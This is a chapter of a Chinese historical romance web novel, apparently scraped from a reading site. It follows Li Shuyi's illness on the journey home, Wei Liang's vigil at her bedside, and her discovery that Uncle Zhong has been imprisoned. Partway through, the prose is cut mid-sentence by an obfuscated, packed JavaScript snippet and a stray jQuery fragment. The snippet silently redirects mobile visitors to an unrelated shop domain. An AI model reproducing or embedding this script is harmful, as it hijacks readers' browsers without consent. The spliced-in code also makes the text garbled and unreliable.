李书意心软,但不是庙里的菩萨,命运这种事,谁又能替别人做主。
笙妹感恩戴德地连忙磕头,眼眶里的泪一直没干,直到李书意转身走了她还跪在原地发呆。
烟秋把她扶起来,她无神般往外走,袍子拖在地上,她也不在意。
接连过了几日,明儿李书意就该回去了,小女孩没再来过,魏凉的院子一如既往地平静。
李书意让烟秋买了兔皮,和一些特产糕点。
次日一早,陆大叔和侍卫们收拾着东西,烟秋也整理着衣物,李书意嘴上说没办法,心里还是盼望魏凉能放过那个女孩,她不时地看向外面,期待着什么。
装好马车,陆大叔说:“宋将军见过魏世子吗,咱们好像很久没见过他了,不知世子是否会同我们一起回去。”他对山上的事依旧心有余悸。
宋绍也摇摇头:“自打从淮水村回来,就没再见过。”
烟秋搬来小凳子,李书意踩着上了马车,眼神不自觉的看向魏凉小院的门。
快到长无县城门口,远远地就瞧见那挤了一堆人,李书意没心情看那些,心中一直惦记着母亲的事,只看了一眼,便放下帘子。
走至近处,宋绍却骑马过来在外边说道:“小姐,城门头上挂着县令的人头。”
烟秋惊呼一声,两只手捂住眼,吓得不敢说话。
李书意也有些惊讶,他是被谁杀的?想起田巧针,难道杀他们的是同一人,之后又觉不对,那人不可能悄无声息的杀了一城县令。
陆大叔在外又补了一句:“小姐,有个告示,那人头是衙门挂上去的。”
李书意问:“写的什么?”
宋绍和陆大叔都不识字,烟秋也认得不多,只能李书意自己下去看。
【县令张万古品行不正,贪赃枉法,滥用私权,安山匪患多年未除,使百姓遭殃,失职重罪,斩首示众。】
底下有人欢呼,有人看看就走了,张县令死了,还有王县令,李县令,吴县令,换了谁能怎么样,都是一丘之貉。
回京都的路上还算顺利,李书意却病倒了,从出城开始她就一直不舒服,今日到了知安府实在没法子走了,还是住进来时那个客栈,烟秋请了郎中,郎中说是小风寒,不碍事。
一碗碗药喝下去,李书意不知是病了晕,还是喝药喝晕了,模模糊糊间看见了魏凉。
她定是发烧了,魏凉怎么会在这里。
没错,应该是自己眼花了。
“世子您瞧,自昨晚小姐就这样半睡半醒,看起来那药没什么用,否则喝了这么多,怎不见好?”烟秋拿了帕子给李书意擦汗。
李书意一会喊冷一会喊热,她感觉自己回到了淮水村,她看见她娘了,嘴里一直喊着,娘,别走,别走,书意听话,书意去干活,不偷懒.......
魏凉在一旁听着直皱眉,“你去请御医来。”
“世子,这么远.........怕是来不及。”
“怎么来不及,她又不是会马上死了?连夜赶路,明日回得去,晚上我要见人。”
徐英没在说什么,应声行了礼就出去了。
李书意分不清梦还是真实,她又看到钟叔了,钟叔告诉她,在京都密室等她一起看书呢,让她早日回来。
魏凉:“烟秋,你去门外等着吧。”
“世子,我不能离开小姐。”
魏凉转头看向烟秋,原来不止李书意倔,丫鬟也随了她。
可烟秋日夜看护,着实扛不住了,趴在桌上睡了过去。
看着李书意的脸,魏凉不禁伸手想要触碰,快碰到了,手却停在那,不敢落下去,她要是知道了,肯定会不开心,算了,魏凉急忙把手拿开。
可转念一想,她又不知道,不知道怎会生气,他又把手重新抬起来,反反复复几次,还是放弃了。
李书意额头出汗,脸颊潮红,嘴里也不知嘀咕什么,完全没了往日那般冷漠疏离。
“你要是一直如此多好。”魏凉听到自己这么说也很诧异,他为什么会这么想。
烟秋这时也醒过来,还以为魏凉吩咐她什么,“世子您说什么?”
“没什么。”
烟秋当是自己听错了,去打了水,拧了毛巾,给李书意搭在额头上。
魏凉看着李书意,在床榻边一坐就是一整夜,没有困意,饭也不吃,烟秋也感觉到世子对小姐真的不一般,从第一次就能看出来,可小姐好像对世子没什么.......
直到中午,李书意才去清醒了些,一睁眼,就瞧见魏凉靠在床边,双眼朦胧。
“你在这干什么?你什么时候来的。”李书意看了看自己衣服,连忙把被子拉倒胸口上面。
魏凉也霎时清明,笑道:“刚来,看你死了没,要是你死了,本世子可少了很多乐趣。”
他起身背对李书意,怕她看清自己疲惫的样子。
李书意也知道他嘴里没什么好话,唤了几声烟秋,烟秋端来一碗白粥,李书意皱眉,她突然间觉得自己胃口大开,这白粥似乎清淡了些。
魏凉推门走了,过了会小二送上来几盘小菜,菜心豆腐,肉末甜虾,还有一盘清蒸肉,一碗葱花汤,李书意看了心情也变得好了很多。
吃了个干干净净。
吃完,烟秋才说不是自己叫的。
“那就是宋绍。”
烟秋猜到了,但她不敢说,反正肯定不是宋绍那个呆子。
想起宋绍,她心里一阵温暖,那晚吃烤肉时,宋绍随她出去,不仅给她包了手,还告诉她自己没有妻妾,烟秋不懂宋绍为什么这么说,只觉心里快乐。
御医到的时候,李书意好了大半,坐在榻上看书,御医把脉后说无大碍,又急匆匆的走了。
李书意不明所以,问了烟秋,才知是魏凉叫来的。
也是,除了魏凉,谁能请来宫里的人。
过了几日,回了将军府,李书意迫不及待的去密室看钟叔,密室没人,翰明玉坊也没有,接连半月都找不着人。
说不急那是不可能,李书意问黄三叔,他支支吾吾地也不说,李书意软磨硬泡还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751032|145447||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是没用,黄三叔只说了一句话,小姐,你得接管翰明玉坊。
也从黄三叔口中得知自己屋里的暗道也通玉坊,这样李书意每到晚上,去玉坊慢慢接手事务,从一草一木,到玄卫的规划支配,她感觉自己的脑子根本不够用。
直到七月份,天暖起来,钟叔还是没有下落。
黄三叔肯定知道,这日,她在玉坊安排了一桌宴,单请了三叔一人。
“三叔,这是你爱喝的曲梅酒,我特地让人给你买的,这是我特地给你从成衣坊定制的袍子,按你的尺寸做的,肯定合适。”李书意笑着一番献殷勤,黄三叔却受宠若惊。
“谢主子姑娘,老奴受不起,这饭就不吃了,如果没什么事我就走了。”黄三叔也不推辞,拿着东西推门。
“三叔,您真的还不告诉我吗。”李书意作势就要跪下去。
“小姐,这可使不得。”
黄三叔皱眉,连忙上前搀扶,“小姐这是做什么,我只是个奴才,真的不知道,你为难老奴也没用啊。”
而李书意依旧要跪,任凭黄三叔怎么拉。
“您不说,我就一直跪下去。”
黄三叔很为难,唉声叹气地在屋里走来走去,好像在做什么艰难的决定。
“钟爷不会回来了。”
“什么意思!”李书意起身紧紧拽住黄三叔的胳膊,她心里有种很不好的预感。
“钟爷在姑娘走后,就被皇上关进都察院,至今不知道怎么回事,他再三嘱咐不让我告诉姑娘,可,唉..........”
李书意:“三叔,为什么不救他,我们可以救他啊,对不对?皇城司那么厉害,可以把他救出来的对不对?”
黄三叔落寞地低下头。
半响后,才说道:“皇城司早就没了,陛下说了,钟爷欺君罔上,谋害良臣子嗣,罪无可恕,皇城司暂且搁置,以后再论,这里边的意思就是不再启用皇城司。”
“姑娘你也知晓,自从你母亲死后,各路消息往来全乱了,全靠钟爷一人撑着,这么些年,他够累了,如今也只剩玉坊在我们管辖内,其余商行,别国探子基本都失联。”
这消息犹如晴天霹雳,一声声打在李书意头上,她好像站不起来了,好像被千金巨石压死了,为什么自己现在才知道,钟叔选自己接管皇城司,原来是要她把断了的线都连起来。
“可玉辉堂那三人,与钟叔有何关系,之前他早就说不是他杀的,皇上当真如此昏庸吗?”
三叔一惊,急忙道:“姑娘甚言,虽说玉坊都是自己人也难免有叛徒。”
李书意接受不了,如今钟叔不知怎么样,而都察院与皇城司是对头,不知道他们会怎么折磨钟叔,当下最要紧的便是先打探钟叔的情况。
李书意想到一个人,或许他有办法,也只能把希望寄托在他身上。
本来晴朗的天突然阴霾,淅淅沥沥地下起了小雨,李书意从屋里走出去,雨滴落在她身上,冰凉的雨滴沁入衣服,她丝毫没有察觉。
三叔的声音在后面也越来越模糊。